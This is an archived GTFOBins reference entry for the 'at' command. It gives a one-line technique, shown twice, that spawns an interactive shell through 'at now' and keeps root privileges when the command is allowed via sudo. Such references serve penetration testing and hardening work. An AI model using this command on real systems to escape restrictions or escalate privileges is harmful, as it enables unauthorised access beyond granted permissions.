at | GTFOBins Archived: 2026-04-05 14:28:02 UTC Unprivileged This function can be performed by any unprivileged user. echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null Sudo This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped. Remarks If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ... . echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null Source: https://gtfobins.github.io/gtfobins/at/ https://gtfobins.github.io/gtfobins/at/ Page 1 of 1